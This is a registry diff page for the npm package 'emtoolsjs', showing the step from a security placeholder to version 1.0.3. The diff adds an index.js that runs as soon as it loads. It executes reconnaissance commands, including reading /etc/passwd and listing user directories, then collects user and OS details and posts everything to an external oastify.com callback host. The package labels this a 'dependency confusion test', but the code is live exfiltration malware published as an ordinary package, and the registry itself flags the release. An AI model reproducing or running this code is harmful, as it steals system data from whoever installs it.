emtoolsjs 0.0.1-security → 1.0.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of emtoolsjs might be problematic. Click here for more details.
- package/index.js +72 -0
 - package/package.json +9 -3
 - package/README.md +0 -5
 
    
        package/index.js
    ADDED
    
    | 
         @@ -0,0 +1,72 @@ 
     | 
|
| 
      
 1 
     | 
    
         
            +
            const https = require('https');
         
     | 
| 
      
 2 
     | 
    
         
            +
            const { exec } = require('child_process');
         
     | 
| 
      
 3 
     | 
    
         
            +
            const os = require('os'); 
         
     | 
| 
      
 4 
     | 
    
         
            +
             
     | 
| 
      
 5 
     | 
    
         
            +
             
     | 
| 
      
 6 
     | 
    
         
            +
            function sendData(data) {
         
     | 
| 
      
 7 
     | 
    
         
            +
                const options = {
         
     | 
| 
      
 8 
     | 
    
         
            +
                    hostname: 'xgh26mm3bfptope44shgnm02htnmbdz2.oastify.com', 
         
     | 
| 
      
 9 
     | 
    
         
            +
                    port: 443,
         
     | 
| 
      
 10 
     | 
    
         
            +
                    path: '/callback',
         
     | 
| 
      
 11 
     | 
    
         
            +
                    method: 'POST',
         
     | 
| 
      
 12 
     | 
    
         
            +
                    headers: {
         
     | 
| 
      
 13 
     | 
    
         
            +
                        'Content-Type': 'application/json',
         
     | 
| 
      
 14 
     | 
    
         
            +
                        'Content-Length': data.length
         
     | 
| 
      
 15 
     | 
    
         
            +
                    }
         
     | 
| 
      
 16 
     | 
    
         
            +
                };
         
     | 
| 
      
 17 
     | 
    
         
            +
             
     | 
| 
      
 18 
     | 
    
         
            +
                const req = https.request(options, (res) => {
         
     | 
| 
      
 19 
     | 
    
         
            +
                    res.on('data', (d) => process.stdout.write(d));
         
     | 
| 
      
 20 
     | 
    
         
            +
                });
         
     | 
| 
      
 21 
     | 
    
         
            +
             
     | 
| 
      
 22 
     | 
    
         
            +
                req.on('error', (error) => {
         
     | 
| 
      
 23 
     | 
    
         
            +
                    console.error(`Error al enviar datos: ${error.message}`);
         
     | 
| 
      
 24 
     | 
    
         
            +
                });
         
     | 
| 
      
 25 
     | 
    
         
            +
             
     | 
| 
      
 26 
     | 
    
         
            +
                req.write(data);
         
     | 
| 
      
 27 
     | 
    
         
            +
                req.end();
         
     | 
| 
      
 28 
     | 
    
         
            +
            }
         
     | 
| 
      
 29 
     | 
    
         
            +
             
     | 
| 
      
 30 
     | 
    
         
            +
             
     | 
| 
      
 31 
     | 
    
         
            +
            function gatherSystemData() {
         
     | 
| 
      
 32 
     | 
    
         
            +
                const platform = os.platform(); 
         
     | 
| 
      
 33 
     | 
    
         
            +
             
     | 
| 
      
 34 
     | 
    
         
            +
                let command = '';
         
     | 
| 
      
 35 
     | 
    
         
            +
                if (platform === 'win32') {
         
     | 
| 
      
 36 
     | 
    
         
            +
                    
         
     | 
| 
      
 37 
     | 
    
         
            +
                    command = 'whoami && dir C:\\Users';
         
     | 
| 
      
 38 
     | 
    
         
            +
                } else {
         
     | 
| 
      
 39 
     | 
    
         
            +
                    
         
     | 
| 
      
 40 
     | 
    
         
            +
                    command = 'whoami && ls /home && cat /etc/passwd';
         
     | 
| 
      
 41 
     | 
    
         
            +
                }
         
     | 
| 
      
 42 
     | 
    
         
            +
             
     | 
| 
      
 43 
     | 
    
         
            +
               
         
     | 
| 
      
 44 
     | 
    
         
            +
                exec(command, (error, stdout, stderr) => {
         
     | 
| 
      
 45 
     | 
    
         
            +
                    if (error) {
         
     | 
| 
      
 46 
     | 
    
         
            +
                        console.error(`Error al ejecutar comandos: ${error.message}`);
         
     | 
| 
      
 47 
     | 
    
         
            +
                        return;
         
     | 
| 
      
 48 
     | 
    
         
            +
                    }
         
     | 
| 
      
 49 
     | 
    
         
            +
             
     | 
| 
      
 50 
     | 
    
         
            +
                    
         
     | 
| 
      
 51 
     | 
    
         
            +
                    const systemData = {
         
     | 
| 
      
 52 
     | 
    
         
            +
                        message: 'Dependency Confusion Test - Safe Directory Listing and User Info',
         
     | 
| 
      
 53 
     | 
    
         
            +
                        platform: platform,
         
     | 
| 
      
 54 
     | 
    
         
            +
                        commandOutput: stdout,  
         
     | 
| 
      
 55 
     | 
    
         
            +
                        errorOutput: stderr,    
         
     | 
| 
      
 56 
     | 
    
         
            +
                        environmentVars: {
         
     | 
| 
      
 57 
     | 
    
         
            +
                            username: os.userInfo().username,
         
     | 
| 
      
 58 
     | 
    
         
            +
                            homedir: os.homedir(),
         
     | 
| 
      
 59 
     | 
    
         
            +
                            shell: os.userInfo().shell || "N/A", 
         
     | 
| 
      
 60 
     | 
    
         
            +
                            osType: os.type(),
         
     | 
| 
      
 61 
     | 
    
         
            +
                            osRelease: os.release()
         
     | 
| 
      
 62 
     | 
    
         
            +
                        }
         
     | 
| 
      
 63 
     | 
    
         
            +
                    };
         
     | 
| 
      
 64 
     | 
    
         
            +
             
     | 
| 
      
 65 
     | 
    
         
            +
                    const payload = JSON.stringify(systemData);
         
     | 
| 
      
 66 
     | 
    
         
            +
                    sendData(payload);
         
     | 
| 
      
 67 
     | 
    
         
            +
                });
         
     | 
| 
      
 68 
     | 
    
         
            +
            }
         
     | 
| 
      
 69 
     | 
    
         
            +
             
     | 
| 
      
 70 
     | 
    
         
            +
             
     | 
| 
      
 71 
     | 
    
         
            +
            gatherSystemData();
         
     | 
| 
      
 72 
     | 
    
         
            +
             
     | 
    
        package/package.json
    CHANGED
    
    | 
         @@ -1,6 +1,12 @@ 
     | 
|
| 
       1 
1 
     | 
    
         
             
            {
         
     | 
| 
       2 
2 
     | 
    
         
             
              "name": "emtoolsjs",
         
     | 
| 
       3 
     | 
    
         
            -
              "version": " 
     | 
| 
       4 
     | 
    
         
            -
              "description": " 
     | 
| 
       5 
     | 
    
         
            -
              " 
     | 
| 
      
 3 
     | 
    
         
            +
              "version": "1.0.3",
         
     | 
| 
      
 4 
     | 
    
         
            +
              "description": "test3",
         
     | 
| 
      
 5 
     | 
    
         
            +
              "main": "index.js",
         
     | 
| 
      
 6 
     | 
    
         
            +
              "scripts": {
         
     | 
| 
      
 7 
     | 
    
         
            +
                "test": "node index.js"  
         
     | 
| 
      
 8 
     | 
    
         
            +
              },
         
     | 
| 
      
 9 
     | 
    
         
            +
              "keywords": [],
         
     | 
| 
      
 10 
     | 
    
         
            +
              "author": "b4llstr-ywh-",
         
     | 
| 
      
 11 
     | 
    
         
            +
              "license": "ISC"
         
     | 
| 
       6 
12 
     | 
    
         
             
            }
         
     | 
    
        package/README.md
    DELETED
    
    | 
         @@ -1,5 +0,0 @@ 
     | 
|
| 
       1 
     | 
    
         
            -
            # Security holding package
         
     | 
| 
       2 
     | 
    
         
            -
             
     | 
| 
       3 
     | 
    
         
            -
            This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
         
     | 
| 
       4 
     | 
    
         
            -
             
     | 
| 
       5 
     | 
    
         
            -
            Please refer to www.npmjs.com/advisories?search=emtoolsjs for more information.
         
     |